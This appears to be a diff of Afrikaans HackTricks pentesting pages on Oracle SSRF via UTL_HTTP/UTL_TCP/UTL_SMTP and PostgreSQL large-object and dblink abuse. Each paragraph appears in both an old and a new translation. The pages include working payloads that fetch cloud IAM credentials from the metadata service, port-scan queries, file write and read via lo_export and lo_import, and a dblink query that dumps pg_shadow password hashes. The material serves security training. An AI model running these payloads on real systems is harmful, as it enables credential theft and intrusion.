Die `UTL_SMTP`-pakket is ontwerp vir die stuur van e-posse oor SMTP. Die voorbeeld wat verskaf word op die [Oracle-dokumentasie-webwerf wys hoe jy hierdie pakket kan gebruik om 'n e-pos te stuur](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Vir ons is die interessante ding egter die vermoë om 'n gasheer- en poortspeksifikasie te voorsien.
Die `UTL_SMTP` pakket is ontwerp om e-posse oor SMTP te stuur. Die voorbeeld wat op die [Oracle dokumentasiewebwerf verskaf word, wys hoe jy hierdie pakket kan gebruik om 'n e-pos te stuur](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Vir ons is die interessante ding egter die vermoë om 'n gasheer- en poortspesifikasie te verskaf.
'n Onbeholpe voorbeeld word hieronder getoon met die `UTL_SMTP.OPEN_CONNECTION`-funksie, met 'n tydbeperking van 2 sekondes.
'n Grof voorbeeld word hieronder getoon met die `UTL_SMTP.OPEN_CONNECTION` funksie, met 'n tydsduur van 2 sekondes.
```
DECLARE c utl_smtp.connection;
BEGIN
@ -90,13 +91,13 @@ BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
'n `ORA-29276: oordragtydperk verstryk` toon dat die poort oop is, maar geen SMTP-verbinding is tot stand gebring nie, terwyl 'n `ORA-29278: SMTP oorganklike fout: 421 Diens nie beskikbaar nie` toon dat die poort gesluit is.
A `ORA-29276: transfer timeout` dui aan dat die poort oop is, maar geen SMTP-verbinding tot stand gebring is nie, terwyl 'n `ORA-29278: SMTP transient error: 421 Service not available` dui aan dat die poort gesluit is.
**UTL\_TCP**
Die `UTL_TCP`-pakket en sy prosedures en funksies maak [TCP/IP-gebaseerde kommunikasie met dienste](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190) moontlik. As dit geprogrammeer is vir 'n spesifieke diens, kan hierdie pakket maklik 'n manier word om die netwerk binne te dring of volledige bedienerkantversoeke uit te voer, aangesien alle aspekte van 'n TCP/IP-verbinding beheer kan word.
Die `UTL_TCP` pakket en sy prosedures en funksies laat [TCP/IP-gebaseerde kommunikasie met dienste](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190) toe. As dit geprogrammeer is vir 'n spesifieke diens, kan hierdie pakket maklik 'n manier in die netwerk word of volle Server Side Requests uitvoer, aangesien alle aspekte van 'n TCP/IP-verbinding beheer kan word.
Die voorbeeld [op die Oracle-dokumentasie-webwerf wys hoe jy hierdie pakket kan gebruik om 'n rou TCP-verbinding te maak om 'n webblad op te haal](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190). Ons kan dit 'n bietjie eenvoudiger maak en dit gebruik om versoeke na die metadata-instansie byvoorbeeld of na 'n willekeurige TCP/IP-diens te maak.
Die voorbeeld [op die Oracle-dokumentasiewebwerf toon hoe jy hierdie pakket kan gebruik om 'n rou TCP-verbinding te maak om 'n webblad te verkry](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190). Ons kan dit 'n bietjie eenvoudiger maak en dit gebruik om versoeke na die metadata-instantie te maak, byvoorbeeld, of na 'n arbitrêre TCP/IP-diens.
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
@ -136,34 +137,35 @@ END;
utl_tcp.close_connection(c);
END;
```
Interessant genoeg kan hierdie pakket, as gevolg van die vermoë om rou TCP-versoeke te skep, ook gebruik word om die instansie-meta-data-diens van alle wolkverskaffers te ondervra, aangesien die metode-tipe en addisionele koppele in die TCP-versoek oorgedra kan word.
Interessant genoeg, weens die vermoë om rou TCP versoeke te vervaardig, kan hierdie pakket ook gebruik word om die Instansie meta-data diens van alle wolkverskaffers te ondervra, aangesien die metode tipe en addisionele koppe alles binne die TCP versoek oorgedra kan word.
**UTL\_HTTP en Web Versoeke**
Dalk die mees algemene en wyd gedokumenteerde tegniek in elke Out of Band Oracle SQL Injection-tutoriaal daar buite is die [`UTL_HTTP`-pakket](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Hierdie pakket word in die dokumentasie gedefinieer as - `Die UTL_HTTP-pakket maak HTTP-oproepe vanaf SQL en PL/SQL. Dit kan gebruik word om data op die internet oor HTTP te ontsluit.`
Miskien is die mees algemene en wyd gedokumenteerde tegniek in elke Out of Band Oracle SQL Injection tutoriaal daar buite die [`UTL_HTTP` pakket](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Hierdie pakket word deur die dokumentasie gedefinieer as - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
Jy kan dit ook gebruik om 'n basiese poortskandering uit te voer met navrae soos
U kan dit ook gebruik om 'n paar rudimentêre poortskandering uit te voer met vrae soos
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
'n `ORA-12541: TNS: geen luisteraar` of 'n `TNS: operasie het uitgeloop` is 'n teken dat die TCP-poort gesluit is, terwyl 'n `ORA-29263: HTTP-protokolfout` of data 'n teken is dat die poort oop is.
A `ORA-12541: TNS:no listener` of `TNS:operation timed out` is 'n teken dat die TCP-poort gesluit is, terwyl 'n `ORA-29263: HTTP protocol error` of data 'n teken is dat die poort oop is.
'n Ander pakket wat ek in die verlede met wisselende sukses gebruik het, is die [`GETCLOB()`-metode van die `HTTPURITYPE` Oracle-abstracttipe](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) wat jou in staat stel om met 'n URL te kommunikeer en ondersteuning vir die HTTP-protokol bied. Die `GETCLOB()`-metode word gebruik om die GET-respons van 'n URL as 'n [CLOB-data tipe](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) op te haal. [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
'n Ander pakket wat ek in die verlede met verskillende sukses gebruik het, is die [`GETCLOB()` metode van die `HTTPURITYPE` Oracle abstrakte tipe](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) wat jou toelaat om met 'n URL te kommunikeer en ondersteuning bied vir die HTTP-protokol. Die `GETCLOB()` metode word gebruik om die GET-respons van 'n URL as 'n [CLOB datatipe.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,89 +1,91 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### PostgreSQL Groot Voorwerpe
PostgreSQL bied 'n struktuur bekend as **groot voorwerpe**, toeganklik via die `pg_largeobject`-tabel, wat ontwerp is vir die stoor van groot datatipes, soos beelde of PDF-dokumente. Hierdie benadering is voordelig oor die `COPY TO`-funksie omdat dit die **uitvoer van data terug na die lêersisteem** moontlik maak, wat verseker dat 'n presiese replika van die oorspronklike lêer behoue bly.
PostgreSQL bied 'n struktuur bekend as **groot voorwerpe**, toeganklik via die `pg_largeobject` tabel, ontwerp om groot datatipe, soos beelde of PDF-dokumente, te stoor. Hierdie benadering is voordelig bo die `COPY TO` funksie aangesien dit die **uitvoer van data terug na die lêerstelsel** moontlik maak, wat verseker dat 'n presiese replika van die oorspronklike lêer gehandhaaf word.
Om 'n **volledige lêer te stoor** binne hierdie tabel, moet 'n voorwerp in die `pg_largeobject`-tabel geskep word (geïdentifiseer deur 'n LOID), gevolg deur die invoeging van datastukke, elk 2KB groot, in hierdie voorwerp. Dit is noodsaaklik dat hierdie stukke presies 2KB groot is (met die moontlike uitsondering van die laaste stuk) om te verseker dat die uitvoerfunksie korrek uitgevoer word.
Om 'n **volledige lêer** binne hierdie tabel te stoor, moet 'n voorwerp in die `pg_largeobject` tabel geskep word (geïdentifiseer deur 'n LOID), gevolg deur die invoeging van datastukke, elk 2KB in grootte, in hierdie voorwerp. Dit is van kardinale belang dat hierdie stukke presies 2KB in grootte is (met die moontlike uitsondering van die laaste stuk) om te verseker dat die uitvoerfunksie korrek werk.
Om jou **binêre data te verdeel** in 2KB-stukke, kan die volgende opdragte uitgevoer word:
Om jou **binaire data** in 2KB stukke te verdeel, kan die volgende opdragte uitgevoer word:
```bash
split -b 2048 your_file # Creates 2KB sized files
```
Vir die enkodering van elke lêer na Base64 of Hex, kan die volgende opdragte gebruik word:
Vir die kodering van elke lêer in Base64 of Hex, kan die onderstaande opdragte gebruik word:
```bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
```
**Belangrik**: Wanneer jy hierdie proses outomatiseer, verseker dat jy stukke van 2KB duidelike teksbyte stuur. Hex-gekodeerde lêers sal 4KB data per stuk vereis as gevolg van die verdubbeling in grootte, terwyl Base64-gekodeerde lêers die formule `ceil(n / 3) * 4` volg.
**Belangrik**: Wanneer jy hierdie proses outomatiseer, verseker dat jy stukke van 2KB van duidelike teks bytes stuur. Hex-gecodeerde lêers sal 4KB data per stuk vereis weens die verdubbeling in grootte, terwyl Base64-gecodeerde lêers die formule `ceil(n / 3) * 4` volg.
Die inhoud van die groot voorwerpe kan vir foutopsporing doeleindes besigtig word deur gebruik te maak van:
Die inhoud van die groot voorwerpe kan vir foutopsporing doeleindes besigtig word met:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
#### Gebruik van `lo_creat` & Base64
#### Using `lo_creat` & Base64
Om binêre data te stoor, word 'n LOID eerste geskep:
Om binêre data te stoor, word 'n LOID eers geskep:
```sql
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
```
In situasies waar presiese beheer vereis word, soos die uitbuiting van 'n Blinde SQL-injeksie, word `lo_create` verkies om 'n vaste LOID te spesifiseer.
In situasies wat presiese beheer vereis, soos om 'n Blind SQL Injection te benut, word `lo_create` verkies om 'n vaste LOID te spesifiseer.
Datastukke kan dan so ingevoeg word:
Data stukke kan dan soos volg ingevoeg word:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
```
Om die groot voorwerp uit te voer en moontlik te verwyder na gebruik:
Om die groot objek na gebruik te eksporteer en moontlik te verwyder:
```sql
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
```
#### Gebruik van `lo_import` & Hex
Die `lo_import`-funksie kan gebruik word om 'n LOID vir 'n groot voorwerp te skep en spesifiseer:
Die `lo_import` funksie kan gebruik word om 'n LOID vir 'n groot objek te skep en te spesifiseer:
```sql
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
```
Na die skep van die voorwerp, word data per bladsy ingevoeg, waarby elke brokkie nie meer as 2KB oorskry nie:
Na die skep van die objek, word data per bladsy ingevoeg, wat verseker dat elke stuk nie 2KB oorskry nie:
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
```
Om die proses te voltooi, word die data uitgevoer en die groot voorwerp word verwyder:
Om die proses te voltooi, word die data uitgevoer en die groot objek verwyder:
```sql
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
```
### Beperkings
Dit word opgemerk dat **groot voorwerpe ACL's (Toegangsbeheerlyste) kan hê**, wat moontlik toegang beperk selfs tot voorwerpe wat deur jou gebruiker geskep is. Nietemin, ouer voorwerpe met inskiklike ACL's kan steeds toeganklik wees vir inhoudslekking.
Dit word opgemerk dat **groot voorwerpe dalk ACL's** (Toegangsbeheerlys) het, wat toegang kan beperk selfs tot voorwerpe wat deur jou gebruiker geskep is. egter, ouer voorwerpe met toegeeflike ACL's mag steeds toeganklik wees vir inhoudsuitvoer.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,36 @@
# dblink/lo\_import data uitlekking
# dblink/lo\_import data exfiltrasie
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Hierdie is 'n voorbeeld van hoe om data te uitlek deur lêers in die databasis te laai met `lo_import` en hulle uit te lek deur `dblink_connect` te gebruik.**
**Dit is 'n voorbeeld van hoe om data te exfiltreer deur lêers in die databasis te laai met `lo_import` en dit te exfiltreer met `dblink_connect`.**
**Kyk na die oplossing by:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
**Kyk na die oplossing vanaf:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,43 +1,44 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Vind [meer inligting oor hierdie aanvalle in die oorspronklike dokument](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
Aangesien **PostgreSQL 9.1**, is die installasie van bykomende modules eenvoudig. [Geregistreerde uitbreidings soos `dblink`](https://www.postgresql.org/docs/current/contrib.html) kan geïnstalleer word met [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
Sedert **PostgreSQL 9.1** is die installasie van addisionele modules eenvoudig. [Geregistreerde uitbreidings soos `dblink`](https://www.postgresql.org/docs/current/contrib.html) kan geïnstalleer word met [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
```sql
CREATE EXTENSION dblink;
```
Sodra jy dblink gelaai het, kan jy 'n paar interessante truuks uitvoer:
Once you have dblink loaded you could be able to perform some interesting tricks:
## Bevoorregte Eskalasie
## Privilege Escalation
Die lêer `pg_hba.conf` kan sleg geconfigureer wees en **verbindings toelaat** vanaf **localhost as enige gebruiker** sonder om die wagwoord te weet. Hierdie lêer word tipies gevind in `/etc/postgresql/12/main/pg_hba.conf` en 'n slegte konfigurasie lyk soos:
Die lêer `pg_hba.conf` kan sleg geconfigureer wees **wat verbindings** vanaf **localhost as enige gebruiker** toelaat sonder om die wagwoord te hoef te ken. Hierdie lêer kan tipies gevind word in `/etc/postgresql/12/main/pg_hba.conf` en 'n slegte konfigurasie lyk soos:
```
local all all trust
```
_Merk op dat hierdie konfigurasie algemeen gebruik word om die wagwoord van 'n db-gebruiker te wysig wanneer die admin dit vergeet, so soms kan jy dit vind._\
_Merk ook op dat die lêer pg\_hba.conf slegs deur die postgres-gebruiker en -groep leesbaar is en slegs deur die postgres-gebruiker geskryf kan word._
_Note dat hierdie konfigurasie algemeen gebruik word om die wagwoord van 'n db-gebruiker te wysig wanneer die admin dit vergeet, so soms mag jy dit vind._\
_Note ook dat die lêer pg\_hba.conf slegs deur die postgres-gebruiker en -groep leesbaar is en slegs deur die postgres-gebruiker skryfbaar is._
Hierdie geval is **nuttig as** jy **reeds** 'n **shell** binne die slagoffer het, omdat dit jou sal toelaat om aan te sluit by die postgresql-databasis.
Hierdie geval is **nuttig as** jy **reeds** 'n **shell** binne die slagoffer het, aangesien dit jou sal toelaat om met die postgresql-databasis te verbind.
'n Ander moontlike verkeerde konfigurasie bestaan uit iets soos dit:
'n Ander moontlike miskonfigurasie bestaan uit iets soos hierdie:
```
host all all 127.0.0.1/32 trust
```
Aangesien dit almal vanaf die localhost sal toelaat om na die databasis te verbind as enige gebruiker.\
In hierdie geval en as die **`dblink`**-funksie **werk**, kan jy **voorregte verhoog** deur na die databasis te verbind deur middel van 'n reeds gevestigde verbinding en toegang te verkry tot data waarvoor jy nie toegang behoort te hê nie:
Aangesien dit almal van die localhost sal toelaat om as enige gebruiker met die databasis te verbind.\
In hierdie geval en as die **`dblink`** funksie **werk**, kan jy **privileges verhoog** deur met die databasis te verbind deur 'n reeds gevestigde verbinding en toegang te verkry tot data wat jy nie behoort te kan toegang nie:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
@ -51,9 +52,9 @@ dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
```
## Poortskandering
## Port Scanning
Deur `dblink_connect` te misbruik, kan jy ook **soek na oop poorte**. As daardie **funksie nie werk nie, moet jy probeer om `dblink_connect_u()` te gebruik, aangesien die dokumentasie sê dat `dblink_connect_u()` identies is aan `dblink_connect()`, behalwe dat dit nie-supergebruikers sal toelaat om te verbind met enige verifikasiemetode nie_.
Deur `dblink_connect` te misbruik kan jy ook **oop poorte soek**. As daardie **funksie nie werk nie, moet jy probeer om `dblink_connect_u()` te gebruik, aangesien die dokumentasie sê dat `dblink_connect_u()` identies is aan `dblink_connect()`, behalwe dat dit nie-supergebruikers toelaat om te verbind met enige autentikasie metode nie_.
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
@ -80,19 +81,11 @@ DETAIL: timeout expired
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
```
Let daarop dat **voor** jy `dblink_connect` of `dblink_connect_u` kan gebruik, moet jy moontlik die volgende uitvoer:
